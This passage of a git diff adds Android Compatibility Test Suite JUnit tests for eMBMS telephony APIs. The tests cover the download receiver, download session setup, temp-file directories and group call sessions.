+        intentForReceiverTest.putExtra(MbmsDownloadSession.EXTRA_MBMS_FILE_INFO,
+                CtsDownloadService.FILE_INFO_1);
+        intentForReceiverTest.putExtra(VendorUtils.EXTRA_FINAL_URI,
+                Uri.fromFile(new File(new File(tempFileRootDir, TEST_SERVICE_ID), "file1")));
+
+        sendBroadcastAndValidate(intentForReceiverTest,
+                MbmsDownloadReceiver.RESULT_MALFORMED_INTENT);
+    }
+
+    @Test
+    public void testRequestNoFileDescriptors() throws Exception {
+        Intent fdRequestIntent = new Intent(VendorUtils.ACTION_FILE_DESCRIPTOR_REQUEST);
+        populateIntentWithCommonFields(fdRequestIntent);
+
+        Bundle b = sendBroadcastAndValidate(fdRequestIntent, MbmsDownloadReceiver.RESULT_OK);
+        assertTrue(b == null || b.isEmpty());
+    }
+
+    @Test
+    public void testRequestNewFileDescriptors() throws Exception {
+        Intent fdRequestIntent = new Intent(VendorUtils.ACTION_FILE_DESCRIPTOR_REQUEST);
+        populateIntentWithCommonFields(fdRequestIntent);
+        fdRequestIntent.putExtra(VendorUtils.EXTRA_FD_COUNT, 5);
+
+        Bundle result = sendBroadcastAndValidate(fdRequestIntent, MbmsDownloadReceiver.RESULT_OK);
+        List<UriPathPair> freeUris = result.getParcelableArrayList(VendorUtils.EXTRA_FREE_URI_LIST);
+        assertNotNull(freeUris);
+        assertEquals(5, freeUris.size());
+        for (UriPathPair pathPair : freeUris) {
+            assertEquals(ContentResolver.SCHEME_CONTENT, pathPair.getContentUri().getScheme());
+            assertEquals(ContentResolver.SCHEME_FILE, pathPair.getFilePathUri().getScheme());
+        }
+    }
+
+    @Test
+    public void testRequestRefreshedFileDescriptors() throws Exception {
+        // Set up a few temp files that we can request again
+        Intent fdRequestIntent = new Intent(VendorUtils.ACTION_FILE_DESCRIPTOR_REQUEST);
+        populateIntentWithCommonFields(fdRequestIntent);
+        fdRequestIntent.putExtra(VendorUtils.EXTRA_FD_COUNT, 2);
+
+        Bundle result = sendBroadcastAndValidate(fdRequestIntent, MbmsDownloadReceiver.RESULT_OK);
+        List<UriPathPair> freeUris = result.getParcelableArrayList(VendorUtils.EXTRA_FREE_URI_LIST);
+
+        Intent fdRefreshIntent = new Intent(VendorUtils.ACTION_FILE_DESCRIPTOR_REQUEST);
+        populateIntentWithCommonFields(fdRefreshIntent);
+        fdRefreshIntent.putParcelableArrayListExtra(VendorUtils.EXTRA_PAUSED_LIST,
+                new ArrayList<>(freeUris.stream().map(UriPathPair::getFilePathUri)
+                        .collect(Collectors.toList())));
+        Bundle result2 = sendBroadcastAndValidate(fdRefreshIntent, MbmsDownloadReceiver.RESULT_OK);
+        List<UriPathPair> refreshUris =
+                result2.getParcelableArrayList(VendorUtils.EXTRA_PAUSED_URI_LIST);
+        assertEquals(freeUris.size(), refreshUris.size());
+        for (UriPathPair pathPair : refreshUris) {
+            assertTrue(freeUris.stream()
+                    .anyMatch((originalPair) ->
+                            originalPair.getFilePathUri().equals(pathPair.getFilePathUri())));
+        }
+    }
+
+    private Bundle sendBroadcastAndValidate(Intent intent, int expectedCode) {
+        BlockingQueue<Bundle> receivedExtras = new LinkedBlockingQueue<>();
+        BlockingQueue<Integer> receivedCode = new LinkedBlockingQueue<>();
+        mContext.sendOrderedBroadcast(intent, CTS_BROADCAST_PERMISSION,
+                new BroadcastReceiver() {
+                    @Override
+                    public void onReceive(Context context, Intent intent) {
+                        receivedExtras.add(getResultExtras(true));
+                        receivedCode.add(getResultCode());
+                    }
+                }, mHandler, -1, null, null);
+
+        try {
+            assertEquals(expectedCode,
+                    (int) receivedCode.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS));
+            return receivedExtras.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail("Test interrupted");
+            return null;
+        }
+    }
+
+    private boolean bundleEquals(Bundle a, Bundle b) {
+        if (a == null && b == null) {
+            return true;
+        }
+        if (a == null || b == null) {
+            return false;
+        }
+        for (String aKey : a.keySet()) {
+            if (!Objects.equals(a.get(aKey), b.get(aKey))) {
+                return false;
+            }
+        }
+
+        for (String bKey : b.keySet()) {
+            if (!Objects.equals(b.get(bKey), a.get(bKey))) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    private void populateIntentWithCommonFields(Intent intent) {
+        intent.putExtra(VendorUtils.EXTRA_SERVICE_ID, TEST_SERVICE_ID);
+        intent.putExtra(VendorUtils.EXTRA_TEMP_FILE_ROOT, tempFileRootDirPath);
+    }
+
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadSessionTest.java b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadSessionTest.java
new file mode 100644
index 0000000..ecb11ee
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadSessionTest.java
@@ -0,0 +1,236 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.fail;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.telephony.MbmsDownloadSession;
+import android.telephony.cts.embmstestapp.CtsDownloadService;
+import android.telephony.mbms.DownloadRequest;
+import android.telephony.mbms.FileServiceInfo;
+import android.telephony.mbms.MbmsErrors;
+
+import java.io.File;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import org.junit.Test;
+
+public class MbmsDownloadSessionTest extends MbmsDownloadTestBase {
+
+    @Test
+    public void testDuplicateSession() throws Exception {
+        try {
+            MbmsDownloadSession failure = MbmsDownloadSession.create(
+                    mContext, mCallbackExecutor, mCallback);
+            fail("Duplicate create should've thrown an exception");
+        } catch (IllegalStateException e) {
+            // Succeed
+        }
+    }
+
+    @Test
+    public void testRequestUpdateDownloadServices() throws Exception {
+        List<String> testClasses = Arrays.asList("class1", "class2");
+        mDownloadSession.requestUpdateFileServices(testClasses);
+
+        // Make sure we got the streaming services
+        List<FileServiceInfo> serviceInfos =
+                (List<FileServiceInfo>) mCallback.waitOnFileServicesUpdated().arg1;
+        assertEquals(CtsDownloadService.FILE_SERVICE_INFO, serviceInfos.get(0));
+        assertEquals(0, mCallback.getNumErrorCalls());
+
+        // Make sure the middleware got the call with the right args
+        List<Bundle> requestDownloadServicesCalls =
+                getMiddlewareCalls(CtsDownloadService.METHOD_REQUEST_UPDATE_FILE_SERVICES);
+        assertEquals(1, requestDownloadServicesCalls.size());
+        List<String> middlewareReceivedServiceClasses =
+                 requestDownloadServicesCalls.get(0)
+                         .getStringArrayList(CtsDownloadService.ARGUMENT_SERVICE_CLASSES);
+        assertEquals(testClasses.size(), middlewareReceivedServiceClasses.size());
+        for (int i = 0; i < testClasses.size(); i++) {
+            assertEquals(testClasses.get(i), middlewareReceivedServiceClasses.get(i));
+        }
+    }
+
+    @Test
+    public void testClose() throws Exception {
+        mDownloadSession.close();
+
+        // Make sure we can't use it anymore
+        try {
+            mDownloadSession.requestUpdateFileServices(Collections.emptyList());
+            fail("Download session should not be usable after close");
+        } catch (IllegalStateException e) {
+            // Succeed
+        }
+
+        // Make sure that the middleware got the call to close
+        List<Bundle> closeCalls = getMiddlewareCalls(CtsDownloadService.METHOD_CLOSE);
+        assertEquals(1, closeCalls.size());
+    }
+
+    @Test
+    public void testSetTempFileDirectory() throws Exception {
+        String tempFileDirName = "CTSTestDir";
+        File tempFileRootDirectory = new File(mContext.getFilesDir(), tempFileDirName);
+        tempFileRootDirectory.mkdirs();
+
+        mDownloadSession.setTempFileRootDirectory(tempFileRootDirectory);
+        List<Bundle> setTempRootCalls =
+                getMiddlewareCalls(CtsDownloadService.METHOD_SET_TEMP_FILE_ROOT);
+        assertEquals(1, setTempRootCalls.size());
+        assertEquals(tempFileRootDirectory.getCanonicalPath(),
+                setTempRootCalls.get(0).getString(CtsDownloadService.ARGUMENT_ROOT_DIRECTORY_PATH));
+        tempFileRootDirectory.delete();
+    }
+
+    @Test
+    public void testSetInvalidTempFileRoot() throws Exception {
+        File tempFileRootDirectory = new File(mContext.getFilesDir(), "NNN-DoesNotExist");
+        tempFileRootDirectory.delete();
+
+        try {
+            mDownloadSession.setTempFileRootDirectory(tempFileRootDirectory);
+            fail("Should not be able to set temp file root to non-existent directory");
+        } catch (IllegalArgumentException e) {
+            // success
+        }
+
+        tempFileRootDirectory = new File(mContext.getFilesDir(), "this-is-a-file.dat");
+        tempFileRootDirectory.createNewFile();
+
+        try {
+            mDownloadSession.setTempFileRootDirectory(tempFileRootDirectory);
+            fail("Should not be able to set temp file root to a file");
+        } catch (IllegalArgumentException e) {
+            // success
+        }
+
+        try {
+            mDownloadSession.setTempFileRootDirectory(mContext.getFilesDir());
+            fail("Should not be able to set temp file root to the files dir");
+        } catch (IllegalArgumentException e) {
+            // success
+        }
+
+        try {
+            mDownloadSession.setTempFileRootDirectory(mContext.getCacheDir());
+            fail("Should not be able to set temp file root to the cache dir");
+        } catch (IllegalArgumentException e) {
+            // success
+        }
+
+        try {
+            mDownloadSession.setTempFileRootDirectory(mContext.getDataDir());
+            fail("Should not be able to set temp file root to the data dir");
+        } catch (IllegalArgumentException e) {
+            // success
+        }
+
+        tempFileRootDirectory.delete();
+    }
+
+    @Test
+    public void testResetDownloadKnowledge() throws Exception {
+        DownloadRequest request = downloadRequestTemplate.build();
+        mDownloadSession.resetDownloadKnowledge(request);
+
+        List<Bundle> resetDownloadKnowledgeCalls =
+                getMiddlewareCalls(CtsDownloadService.METHOD_RESET_DOWNLOAD_KNOWLEDGE);
+        assertEquals(1, resetDownloadKnowledgeCalls.size());
+        assertEquals(request, resetDownloadKnowledgeCalls.get(0).getParcelable(
+                CtsDownloadService.ARGUMENT_DOWNLOAD_REQUEST));
+    }
+
+    @Test
+    public void testGetDownloadStatus() throws Exception {
+        DownloadRequest request = downloadRequestTemplate.build();
+        mDownloadSession.requestDownloadState(request, CtsDownloadService.FILE_INFO_1);
+
+        List<Bundle> getDownloadStatusCalls =
+                getMiddlewareCalls(CtsDownloadService.METHOD_GET_DOWNLOAD_STATUS);
+        assertEquals(1, getDownloadStatusCalls.size());
+        assertEquals(request, getDownloadStatusCalls.get(0).getParcelable(
+                CtsDownloadService.ARGUMENT_DOWNLOAD_REQUEST));
+        assertEquals(CtsDownloadService.FILE_INFO_1, getDownloadStatusCalls.get(0).getParcelable(
+                CtsDownloadService.ARGUMENT_FILE_INFO));
+    }
+
+    @Test
+    public void testCancelDownload() throws Exception {
+        DownloadRequest request = downloadRequestTemplate.build();
+        mDownloadSession.cancelDownload(request);
+
+        List<Bundle> cancelDownloadCalls =
+                getMiddlewareCalls(CtsDownloadService.METHOD_CANCEL_DOWNLOAD);
+        assertEquals(1, cancelDownloadCalls.size());
+        assertEquals(request, cancelDownloadCalls.get(0).getParcelable(
+                CtsDownloadService.ARGUMENT_DOWNLOAD_REQUEST));
+    }
+
+    @Test
+    public void testListPendingDownloads() throws Exception {
+        File tempFileRootDir = new File(mContext.getFilesDir(), "CtsTestDir");
+        tempFileRootDir.mkdir();
+        mDownloadSession.setTempFileRootDirectory(tempFileRootDir);
+
+        DownloadRequest request = downloadRequestTemplate.setAppIntent(new Intent()).build();
+        mDownloadSession.download(request);
+
+        List<DownloadRequest> downloads = mDownloadSession.listPendingDownloads();
+        assertEquals(1, downloads.size());
+        assertEquals(request, downloads.get(0));
+    }
+
+    @Test
+    public void testSetTempFileDirFailure() throws Exception {
+        String tempFileDirName = "CTSTestDir101010";
+        File tempFileRootDirectory = new File(mContext.getFilesDir(), tempFileDirName);
+        tempFileRootDirectory.mkdirs();
+
+        mMiddlewareControl.forceErrorCode(
+                MbmsErrors.DownloadErrors.ERROR_CANNOT_CHANGE_TEMP_FILE_ROOT);
+        mDownloadSession.setTempFileRootDirectory(tempFileRootDirectory);
+        assertNotNull(mCallback.waitOnError());
+        assertNotSame(mDownloadSession.getTempFileRootDirectory(), tempFileDirName);
+    }
+
+    @Test
+    public void testDownloadRequestSerialization() throws Exception {
+        Intent intent = new Intent("sample_intent_action");
+        DownloadRequest request = downloadRequestTemplate.setAppIntent(intent).build();
+        DownloadRequest newRequest =
+                DownloadRequest.Builder.fromSerializedRequest(request.toByteArray())
+                        .build();
+        assertEquals(request, newRequest);
+    }
+
+    @Test
+    public void testErrorDelivery() throws Exception {
+        mMiddlewareControl.forceErrorCode(
+                MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE);
+        mDownloadSession.requestUpdateFileServices(Collections.emptyList());
+        assertEquals(MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE,
+                mCallback.waitOnError().arg1);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadTestBase.java b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadTestBase.java
new file mode 100644
index 0000000..12c5f44
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadTestBase.java
@@ -0,0 +1,206 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.annotation.Nullable;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.telephony.MbmsDownloadSession;
+import android.telephony.cts.embmstestapp.CtsDownloadService;
+import android.telephony.cts.embmstestapp.ICtsDownloadMiddlewareControl;
+import android.telephony.mbms.DownloadRequest;
+import android.telephony.mbms.FileServiceInfo;
+import android.telephony.mbms.MbmsDownloadSessionCallback;
+import android.util.Log;
+
+import com.android.internal.os.SomeArgs;
+
+import java.io.File;
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
+
+import org.junit.After;
+import org.junit.Before;
+
+public class MbmsDownloadTestBase {
+    protected static final int ASYNC_TIMEOUT = 10000;
+
+    protected static class TestCallback extends MbmsDownloadSessionCallback {
+        private final BlockingQueue<SomeArgs> mErrorCalls = new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mFileServicesUpdatedCalls =
+                new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mMiddlewareReadyCalls = new LinkedBlockingQueue<>();
+        private int mNumErrorCalls = 0;
+
+        @Override
+        public void onError(int errorCode, @Nullable String message) {
+            mNumErrorCalls += 1;
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = errorCode;
+            args.arg2 = message;
+            mErrorCalls.add(args);
+            Log.i(MbmsDownloadTestBase.class.getSimpleName(),
+                    "Got error: " + errorCode + ": " + message);
+        }
+
+        @Override
+        public void onFileServicesUpdated(List<FileServiceInfo> services) {
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = services;
+            mFileServicesUpdatedCalls.add(args);
+        }
+
+        @Override
+        public void onMiddlewareReady() {
+            mMiddlewareReadyCalls.add(SomeArgs.obtain());
+        }
+
+        public SomeArgs waitOnError() {
+            try {
+                return mErrorCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public boolean waitOnMiddlewareReady() {
+            try {
+                return mMiddlewareReadyCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS) != null;
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+
+        public SomeArgs waitOnFileServicesUpdated() {
+            try {
+                return mFileServicesUpdatedCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public int getNumErrorCalls() {
+            return mNumErrorCalls;
+        }
+    }
+
+    DownloadRequest.Builder downloadRequestTemplate;
+    Uri destinationDirectoryUri;
+
+    Context mContext;
+    HandlerThread mHandlerThread;
+    Handler mHandler;
+    Executor mCallbackExecutor;
+    ICtsDownloadMiddlewareControl mMiddlewareControl;
+    MbmsDownloadSession mDownloadSession;
+    TestCallback mCallback = new TestCallback();
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = getContext();
+        mHandlerThread = new HandlerThread("EmbmsCtsTestWorker");
+        mHandlerThread.start();
+        mHandler = new Handler(mHandlerThread.getLooper());
+        mCallbackExecutor = mHandler::post;
+        mCallback = new TestCallback();
+
+        File destinationDirectory = new File(mContext.getFilesDir(), "downloads");
+        destinationDirectory.mkdirs();
+        destinationDirectoryUri = Uri.fromFile(destinationDirectory);
+        downloadRequestTemplate = new DownloadRequest.Builder(
+                CtsDownloadService.SOURCE_URI_1, destinationDirectoryUri)
+                .setServiceInfo(CtsDownloadService.FILE_SERVICE_INFO);
+        getControlBinder();
+        setupDownloadSession();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mHandlerThread.quit();
+        mDownloadSession.close();
+        mMiddlewareControl.reset();
+    }
+
+    private void setupDownloadSession() throws Exception {
+        mDownloadSession = MbmsDownloadSession.create(
+                mContext, mCallbackExecutor, mCallback);
+        assertNotNull(mDownloadSession);
+        assertTrue(mCallback.waitOnMiddlewareReady());
+        assertEquals(0, mCallback.getNumErrorCalls());
+        Bundle initializeCall =  mMiddlewareControl.getDownloadSessionCalls().get(0);
+        assertEquals(CtsDownloadService.METHOD_INITIALIZE,
+                initializeCall.getString(CtsDownloadService.METHOD_NAME));
+    }
+
+    private void getControlBinder() throws InterruptedException {
+        Intent bindIntent = new Intent(CtsDownloadService.CONTROL_INTERFACE_ACTION);
+        bindIntent.setComponent(CtsDownloadService.CONTROL_INTERFACE_COMPONENT);
+        final CountDownLatch bindLatch = new CountDownLatch(1);
+
+        boolean success = mContext.bindService(bindIntent, new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                mMiddlewareControl = ICtsDownloadMiddlewareControl.Stub.asInterface(service);
+                bindLatch.countDown();
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+                mMiddlewareControl = null;
+            }
+        }, Context.BIND_AUTO_CREATE);
+        if (!success) {
+            fail("Failed to get control interface -- bind error");
+        }
+        bindLatch.await(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+    }
+
+    protected List<Bundle> getMiddlewareCalls(String methodName) throws RemoteException {
+        return (mMiddlewareControl.getDownloadSessionCalls()).stream()
+                .filter((elem) -> elem.getString(CtsDownloadService.METHOD_NAME).equals(methodName))
+                .collect(Collectors.toList());
+    }
+
+    protected static void recursiveDelete(File f) {
+        if (f.isDirectory()) {
+            for (File f1 : f.listFiles()) {
+                recursiveDelete(f1);
+            }
+        }
+        f.delete();
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsGroupCallSessionTest.java b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsGroupCallSessionTest.java
new file mode 100644
index 0000000..d06546f
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsGroupCallSessionTest.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.telephony.MbmsGroupCallSession;
+import android.telephony.cts.embmstestapp.CtsGroupCallService;
+import android.telephony.mbms.GroupCallCallback;
+import android.telephony.mbms.MbmsErrors;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import org.junit.Test;
+
+public class MbmsGroupCallSessionTest extends MbmsGroupCallTestBase {
+    @Test
+    public void testDuplicateSession() throws Exception {
+        try {
+            MbmsGroupCallSession failure = MbmsGroupCallSession.create(
+                    mContext, mCallbackExecutor, mCallback);
+            fail("Duplicate create should've thrown an exception");
+        } catch (IllegalStateException e) {
+            // Succeed
+        }
+    }
+
+    @Test
+    public void testClose() throws Exception {
+        mGroupCallSession.close();
+
+        // Make sure we can't use it anymore
+        try {
+            mGroupCallSession.startGroupCall(0, Collections.emptyList(), Collections.emptyList(),
+                    mCallbackExecutor, new GroupCallCallback() {});
+            fail("GroupCall session should not be usable after close");
+        } catch (IllegalStateException e) {
+            // Succeed
+        }
+
+        // Make sure that the middleware got the call to close
+        List<List<Object>> closeCalls = getMiddlewareCalls(CtsGroupCallService.METHOD_CLOSE);
+        assertEquals(1, closeCalls.size());
+    }
+
+    @Test
+    public void testErrorDelivery() throws Exception {
+        mMiddlewareControl.forceErrorCode(
+                MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE);
+        mGroupCallSession.startGroupCall(0, Collections.emptyList(), Collections.emptyList(),
+                mCallbackExecutor, new GroupCallCallback() {});
+        assertEquals(MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE,
+                mCallback.waitOnError().arg1);
+    }
+
+    @Test
+    public void testCallbacks() throws Exception {
+        List<Integer> expectCurrentSais = Arrays.asList(10, 14, 17);
+        List<List<Integer>> expectAvailableSais = new ArrayList<List<Integer>>() {{
+            add(expectCurrentSais);
+            add(Arrays.asList(11, 15, 17));
+        }};
+        mMiddlewareControl.fireAvailableSaisUpdated(expectCurrentSais, expectAvailableSais);
+        SomeArgs callbackResult = mCallback.waitOnAvailableSaisUpdatedCalls();
+        assertEquals(callbackResult.arg1, expectCurrentSais);
+        assertEquals(callbackResult.arg2, expectAvailableSais);
+
+        String interfaceName = "TEST";
+        int index = 10;
+        mMiddlewareControl.fireServiceInterfaceAvailable(interfaceName, index);
+        callbackResult = mCallback.waitOnServiceInterfaceAvailableCalls();
+        assertEquals(interfaceName, callbackResult.arg1);
+        assertEquals(index, callbackResult.arg2);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsGroupCallTest.java b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsGroupCallTest.java
new file mode 100644
index 0000000..1ce69eb
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsGroupCallTest.java
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.annotation.Nullable;
+import android.telephony.cts.embmstestapp.CtsGroupCallService;
+import android.telephony.mbms.GroupCallCallback;
+import android.telephony.mbms.MbmsErrors;
+import android.telephony.mbms.GroupCall;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import org.junit.Test;
+
+public class MbmsGroupCallTest extends MbmsGroupCallTestBase {
+    private class TestGroupCallCallback implements GroupCallCallback {
+        private final BlockingQueue<SomeArgs> mErrorCalls = new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mGroupCallStateChangedCalls=
+                new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mBroadcastSignalStrengthUpdatedCalls =
+                new LinkedBlockingQueue<>();
+
+        @Override
+        public void onError(int errorCode, @Nullable String message) {
+            GroupCallCallback.super.onError(errorCode, message);
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = errorCode;
+            args.arg2 = message;
+            mErrorCalls.add(args);
+        }
+
+        @Override
+        public void onGroupCallStateChanged(int state, int reason) {
+            GroupCallCallback.super.onGroupCallStateChanged(state, reason);
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = state;
+            args.arg2 = reason;
+            mGroupCallStateChangedCalls.add(args);
+        }
+
+        @Override
+        public void onBroadcastSignalStrengthUpdated(int signalStrength) {
+            GroupCallCallback.super.onBroadcastSignalStrengthUpdated(signalStrength);
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = signalStrength;
+            mBroadcastSignalStrengthUpdatedCalls.add(args);
+        }
+
+        public SomeArgs waitOnError() {
+            try {
+                return mErrorCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public SomeArgs waitOnGroupCallStateChanged() {
+            try {
+                return mGroupCallStateChangedCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public SomeArgs waitOnBroadcastSignalStrengthUpdated() {
+            try {
+                return mBroadcastSignalStrengthUpdatedCalls.poll(
+                        ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+    }
+
+    private static final long TMGI = 568734963245L;
+    private static final List<Integer> SAI_LIST = Arrays.asList(16, 24, 46, 76);
+    private static final List<Integer> FREQUENCY_LIST = Arrays.asList(2075, 2050, 1865);
+
+    private TestGroupCallCallback mGroupCallCallback =
+            new TestGroupCallCallback();
+
+    @Test
+    public void testStartGroupCall() throws Exception {
+        GroupCall groupCall = mGroupCallSession.startGroupCall(TMGI, SAI_LIST, FREQUENCY_LIST,
+                mCallbackExecutor, mGroupCallCallback
+        );
+        assertNotNull(groupCall);
+        assertEquals(TMGI, groupCall.getTmgi());
+
+        SomeArgs args = mGroupCallCallback.waitOnGroupCallStateChanged();
+        assertEquals(GroupCall.STATE_STARTED, args.arg1);
+        assertEquals(GroupCall.REASON_BY_USER_REQUEST, args.arg2);
+
+        List<List<Object>> startGroupCallCalls =
+                getMiddlewareCalls(CtsGroupCallService.METHOD_START_GROUP_CALL);
+        assertEquals(1, startGroupCallCalls.size());
+        List<Object> startGroupCallCall = startGroupCallCalls.get(0);
+        assertEquals(TMGI, startGroupCallCall.get(2));
+        assertEquals(SAI_LIST, startGroupCallCall.get(3));
+        assertEquals(FREQUENCY_LIST, startGroupCallCall.get(4));
+    }
+
+    @Test
+    public void testUpdateGroupCall() throws Exception {
+        GroupCall groupCall = mGroupCallSession.startGroupCall(TMGI, SAI_LIST, FREQUENCY_LIST,
+                mCallbackExecutor, mGroupCallCallback
+        );
+        List<Integer> newSais = Collections.singletonList(16);
+        List<Integer> newFreqs = Collections.singletonList(2025);
+        groupCall.updateGroupCall(newSais, newFreqs);
+
+        List<List<Object>> updateGroupCallCalls =
+                getMiddlewareCalls(CtsGroupCallService.METHOD_UPDATE_GROUP_CALL);
+        assertEquals(1, updateGroupCallCalls.size());
+        List<Object> updateGroupCallCall = updateGroupCallCalls.get(0);
+        assertEquals(TMGI, updateGroupCallCall.get(2));
+        assertEquals(newSais, updateGroupCallCall.get(3));
+        assertEquals(newFreqs, updateGroupCallCall.get(4));
+    }
+
+    @Test
+    public void testStopGroupCall() throws Exception {
+        GroupCall groupCall = mGroupCallSession.startGroupCall(TMGI, SAI_LIST, FREQUENCY_LIST,
+                mCallbackExecutor, mGroupCallCallback
+        );
+        groupCall.close();
+        List<List<Object>> stopGroupCallCalls =
+                getMiddlewareCalls(CtsGroupCallService.METHOD_STOP_GROUP_CALL);
+        assertEquals(1, stopGroupCallCalls.size());
+        assertEquals(TMGI, stopGroupCallCalls.get(0).get(2));
+    }
+
+    @Test
+    public void testGroupCallCallbacks() throws Exception {
+        mGroupCallSession.startGroupCall(TMGI, SAI_LIST, FREQUENCY_LIST, mCallbackExecutor,
+                mGroupCallCallback
+        );
+        mMiddlewareControl.fireErrorOnGroupCall(MbmsErrors.GeneralErrors.ERROR_IN_E911,
+                MbmsGroupCallTest.class.getSimpleName());
